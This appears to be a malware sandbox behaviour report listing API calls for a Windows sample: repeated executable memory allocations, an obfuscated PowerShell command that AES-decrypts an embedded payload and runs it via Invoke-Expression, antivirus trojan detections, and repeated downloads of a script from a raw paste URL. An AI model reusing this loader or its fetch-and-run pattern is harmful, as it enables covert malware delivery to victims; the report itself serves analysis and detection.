process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05000000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05001000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05002000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05003000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05004000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05005000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05006000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05007000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05008000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05009000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05010000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05011000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05012000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05013000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05014000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI49958097433743076509724959814142CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIbxuRBZW58D6qHa6OaTz/wPo2erEU3a8XHWrkXAdbdzTC5T84fuiWq58k3i/POU4yNFit1HabT7Ip/uUGVBt4z8Uo7htAUUgjHEN/nsapjY6CPUspvGVUGHssU+Pr5nnVpAZRUrtIGtx098n/onUN4/9UdxjeWta56320IcuEKx5FBRF8BN5agrfzcPl8nWFJaCYbxALQD0pd8wcDcG7Z4qp//WpU8YzhhoHcmfr6tHPpzTEfbrZwiVOvuw+/JvzsrMeYk7zZu+UUshFBQ5tqcmHnYcNcKNeVyySh7vbF4dtVBPC59rcDf45Ip8e8qgnf+f59F72C6X8w7BKmWcxDrvkgIJEdDAL8hj2Jkhtpz0sR4L4aVrWtEQPJ8yxgXf1T2rm+XpdfVfU+ukTx19Jz3wEIAgQSafjf0GfBAL3e4NWDVLet9944vxSiJB8xEd7JenGiyEOtI3Y3hprPXCw66eWQhoF3a145gY3Z2R4BogKZJ5gqp0EKkBqBT9JxAuN4bfZO+TSndIjmga9njg4/qNNYfeYV/uMRKhd+jYkkLNLrx6xGX9qi7fRuFbBprznkr12YuC7yJFQ2x0WsaX8X99Ti2tR/xVNE4EhJ7YWvD7ep2zjQ2woL0IBVZZWRC5I63PpIH400MNDUg8N135wf5JXMORFTBbnzE6SBNiXK6moSaSigUyIRhCN3MyxeECsYo51cbZ/6yqA6VLl9UwtSXFZkT6jsXN4VfMfanH4oR0pi+fnhBmdC+kor0H1eu3doM8tnX5jwkbA3g5RpVHVTwpCCiK/Odz2S8a2CmmJm46STR0hWNzn3oQo1Kld1xQ+1H8hCRSAJvVgqx0wbyv5ng74HSF/sOKduVg5TOulc0bAM2XZNa3NBd2k22BRcCPbE8qhywR0mDi7halZQFXAg8MkRAO0IpVULqcOhikrF+vgmdDw5nxwkSQghmqNulszxeC3Zk9uOC9fO9U2Om796d5NxN0o1Pe2Q7NqhzvPLHu7e5uzSTM6IOxVwRS1jI2X4kkSFKPx5pphUxpLEKB7kQwodoqK5/vSNq9DQIjN4kBA2oWI4BLdmL0+z+59rwTBW487/tVZMEyOa07ecYQeUh66aUseTs5+7zOjmEKrPtKQvkMDJnbAJKX385iV8MzoKGDBarEeSHT3Juol3DEq2A8RWkZdNDTL9gnFsG8rzPUewwTYqHynUuMh5CvZ/ZY0xv/HckoVxNKNGiY5Lzzih8SGOjMqMrXQPiaM+gvZbG3wf2VQkwyAEOH5p54L4m5O5omGT+jAdZzINuqShbK3l0wnwvp/1xtT8MQUezvxMnbqY70jjYLzsmxU+mqfUDhefKjgph7AlvQ909Z5XJmZnneYUGHW/2eWRp9MDZ+jWBNcUhGoUshHAdJ9QTrZSjBiXRG6ahqVSqrmyPd9m1isTmsd2uwpnR/Vv3sDR0Rpa6wRvf3FwwoHMJu7X9zC+Tub3ZCRtEYLoN5hNYt4Ci5ibCNjKAfPWHRBkhpXGJ4vxdNdesz33k4eAkMZFnBRlmUTdq+SY9gKxwq+9Pt2oCH8n9g9JSH93H57AAoPSteAmN+kM8YADHtLsjfKI1n/gboID0K3ci8Im+jLfaq/isIkAQtaFeepycXL9kn3HexD3NbJAn6fY0OQ8fIAKm2bi+W0vdvcXgrjypy+pLfd9B7bUz22aDOxkoZTFdRt1nVGbdgC2CCcFMLqM+ONKbDKmg2i1b2PUwPHKEMYrCPj33PxTJx0uYF6FcTqZWr1FunIOIXGkRF6YnlxA91J0qtZED4hJCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI49958097433743076509724959814142CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIbxuRBZW58D6qHa6OaTz/wPo2erEU3a8XHWrkXAdbdzTC5T84fuiWq58k3i/POU4yNFit1HabT7Ip/uUGVBt4z8Uo7htAUUgjHEN/nsapjY6CPUspvGVUGHssU+Pr5nnVpAZRUrtIGtx098n/onUN4/9UdxjeWta56320IcuEKx5FBRF8BN5agrfzcPl8nWFJaCYbxALQD0pd8wcDcG7Z4qp//WpU8YzhhoHcmfr6tHPpzTEfbrZwiVOvuw+/JvzsrMeYk7zZu+UUshFBQ5tqcmHnYcNcKNeVyySh7vbF4dtVBPC59rcDf45Ip8e8qgnf+f59F72C6X8w7BKmWcxDrvkgIJEdDAL8hj2Jkhtpz0sR4L4aVrWtEQPJ8yxgXf1T2rm+XpdfVfU+ukTx19Jz3wEIAgQSafjf0GfBAL3e4NWDVLet9944vxSiJB8xEd7JenGiyEOtI3Y3hprPXCw66eWQhoF3a145gY3Z2R4BogKZJ5gqp0EKkBqBT9JxAuN4bfZO+TSndIjmga9njg4/qNNYfeYV/uMRKhd+jYkkLNLrx6xGX9qi7fRuFbBprznkr12YuC7yJFQ2x0WsaX8X99Ti2tR/xVNE4EhJ7YWvD7ep2zjQ2woL0IBVZZWRC5I63PpIH400MNDUg8N135wf5JXMORFTBbnzE6SBNiXK6moSaSigUyIRhCN3MyxeECsYo51cbZ/6yqA6VLl9UwtSXFZkT6jsXN4VfMfanH4oR0pi+fnhBmdC+kor0H1eu3doM8tnX5jwkbA3g5RpVHVTwpCCiK/Odz2S8a2CmmJm46STR0hWNzn3oQo1Kld1xQ+1H8hCRSAJvVgqx0wbyv5ng74HSF/sOKduVg5TOulc0bAM2XZNa3NBd2k22BRcCPbE8qhywR0mDi7halZQFXAg8MkRAO0IpVULqcOhikrF+vgmdDw5nxwkSQghmqNulszxeC3Zk9uOC9fO9U2Om796d5NxN0o1Pe2Q7NqhzvPLHu7e5uzSTM6IOxVwRS1jI2X4kkSFKPx5pphUxpLEKB7kQwodoqK5/vSNq9DQIjN4kBA2oWI4BLdmL0+z+59rwTBW487/tVZMEyOa07ecYQeUh66aUseTs5+7zOjmEKrPtKQvkMDJnbAJKX385iV8MzoKGDBarEeSHT3Juol3DEq2A8RWkZdNDTL9gnFsG8rzPUewwTYqHynUuMh5CvZ/ZY0xv/HckoVxNKNGiY5Lzzih8SGOjMqMrXQPiaM+gvZbG3wf2VQkwyAEOH5p54L4m5O5omGT+jAdZzINuqShbK3l0wnwvp/1xtT8MQUezvxMnbqY70jjYLzsmxU+mqfUDhefKjgph7AlvQ909Z5XJmZnneYUGHW/2eWRp9MDZ+jWBNcUhGoUshHAdJ9QTrZSjBiXRG6ahqVSqrmyPd9m1isTmsd2uwpnR/Vv3sDR0Rpa6wRvf3FwwoHMJu7X9zC+Tub3ZCRtEYLoN5hNYt4Ci5ibCNjKAfPWHRBkhpXGJ4vxdNdesz33k4eAkMZFnBRlmUTdq+SY9gKxwq+9Pt2oCH8n9g9JSH93H57AAoPSteAmN+kM8YADHtLsjfKI1n/gboID0K3ci8Im+jLfaq/isIkAQtaFeepycXL9kn3HexD3NbJAn6fY0OQ8fIAKm2bi+W0vdvcXgrjypy+pLfd9B7bUz22aDOxkoZTFdRt1nVGbdgC2CCcFMLqM+ONKbDKmg2i1b2PUwPHKEMYrCPj33PxTJx0uYF6FcTqZWr1FunIOIXGkRF6YnlxA91J0qtZED4hJCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI49958097433743076509724959814142CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIbxuRBZW58D6qHa6OaTz/wPo2erEU3a8XHWrkXAdbdzTC5T84fuiWq58k3i/POU4yNFit1HabT7Ip/uUGVBt4z8Uo7htAUUgjHEN/nsapjY6CPUspvGVUGHssU+Pr5nnVpAZRUrtIGtx098n/onUN4/9UdxjeWta56320IcuEKx5FBRF8BN5agrfzcPl8nWFJaCYbxALQD0pd8wcDcG7Z4qp//WpU8YzhhoHcmfr6tHPpzTEfbrZwiVOvuw+/JvzsrMeYk7zZu+UUshFBQ5tqcmHnYcNcKNeVyySh7vbF4dtVBPC59rcDf45Ip8e8qgnf+f59F72C6X8w7BKmWcxDrvkgIJEdDAL8hj2Jkhtpz0sR4L4aVrWtEQPJ8yxgXf1T2rm+XpdfVfU+ukTx19Jz3wEIAgQSafjf0GfBAL3e4NWDVLet9944vxSiJB8xEd7JenGiyEOtI3Y3hprPXCw66eWQhoF3a145gY3Z2R4BogKZJ5gqp0EKkBqBT9JxAuN4bfZO+TSndIjmga9njg4/qNNYfeYV/uMRKhd+jYkkLNLrx6xGX9qi7fRuFbBprznkr12YuC7yJFQ2x0WsaX8X99Ti2tR/xVNE4EhJ7YWvD7ep2zjQ2woL0IBVZZWRC5I63PpIH400MNDUg8N135wf5JXMORFTBbnzE6SBNiXK6moSaSigUyIRhCN3MyxeECsYo51cbZ/6yqA6VLl9UwtSXFZkT6jsXN4VfMfanH4oR0pi+fnhBmdC+kor0H1eu3doM8tnX5jwkbA3g5RpVHVTwpCCiK/Odz2S8a2CmmJm46STR0hWNzn3oQo1Kld1xQ+1H8hCRSAJvVgqx0wbyv5ng74HSF/sOKduVg5TOulc0bAM2XZNa3NBd2k22BRcCPbE8qhywR0mDi7halZQFXAg8MkRAO0IpVULqcOhikrF+vgmdDw5nxwkSQghmqNulszxeC3Zk9uOC9fO9U2Om796d5NxN0o1Pe2Q7NqhzvPLHu7e5uzSTM6IOxVwRS1jI2X4kkSFKPx5pphUxpLEKB7kQwodoqK5/vSNq9DQIjN4kBA2oWI4BLdmL0+z+59rwTBW487/tVZMEyOa07ecYQeUh66aUseTs5+7zOjmEKrPtKQvkMDJnbAJKX385iV8MzoKGDBarEeSHT3Juol3DEq2A8RWkZdNDTL9gnFsG8rzPUewwTYqHynUuMh5CvZ/ZY0xv/HckoVxNKNGiY5Lzzih8SGOjMqMrXQPiaM+gvZbG3wf2VQkwyAEOH5p54L4m5O5omGT+jAdZzINuqShbK3l0wnwvp/1xtT8MQUezvxMnbqY70jjYLzsmxU+mqfUDhefKjgph7AlvQ909Z5XJmZnneYUGHW/2eWRp9MDZ+jWBNcUhGoUshHAdJ9QTrZSjBiXRG6ahqVSqrmyPd9m1isTmsd2uwpnR/Vv3sDR0Rpa6wRvf3FwwoHMJu7X9zC+Tub3ZCRtEYLoN5hNYt4Ci5ibCNjKAfPWHRBkhpXGJ4vxdNdesz33k4eAkMZFnBRlmUTdq+SY9gKxwq+9Pt2oCH8n9g9JSH93H57AAoPSteAmN+kM8YADHtLsjfKI1n/gboID0K3ci8Im+jLfaq/isIkAQtaFeepycXL9kn3HexD3NbJAn6fY0OQ8fIAKm2bi+W0vdvcXgrjypy+pLfd9B7bUz22aDOxkoZTFdRt1nVGbdgC2CCcFMLqM+ONKbDKmg2i1b2PUwPHKEMYrCPj33PxTJx0uYF6FcTqZWr1FunIOIXGkRF6YnlxA91J0qtZED4hJCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
filepath: powershell.exe
1 1 0
Symantec ISB.Downloader!gen40
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.Script.Generic
ZoneAlarm HEUR:Trojan.Script.Generic
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received 
Data received F
Data sent zvf›™¢nÐë,AbÞöíõc§¯3B$«þt…#Ç@/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Data sent zvf›™¢Í†³¤.Zý·p°²aÌÏÇHxŽ¾ • ªÇ ¦/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Data sent zvf›™£PhF¸³&˜ònȘ± 639Ê×ü;m¨é¡ÆP{/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Data sent zvf›™£½ZŽè.v>«õ½dDÃ_L¬üLÌø6Ú/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetCrackUrlA

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0
Time & API Arguments Status Return Repeated

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

send

 buffer: plf›™eÏHËn[øƒŽí |/ ˆ¸ên pãs%ä/5 ÀÀÀ À 28+ÿ pastecode.dev  
socket: 1028
sent: 117
1 117 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

send

 buffer: FBAӀª°b¢n‰ösŒOˆ§™>Åí‹ÚWߧÕ<ô›'hµÅ ˜ k ;Ñã$_A üùuJ1©ŸŠ<WŸ0AUbÄ4êø»Ù8‘î€57êÂy%Îô@) KuߨːA0ý5Ò͓'’k rnç
socket: 1028
sent: 134
1 134 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

send

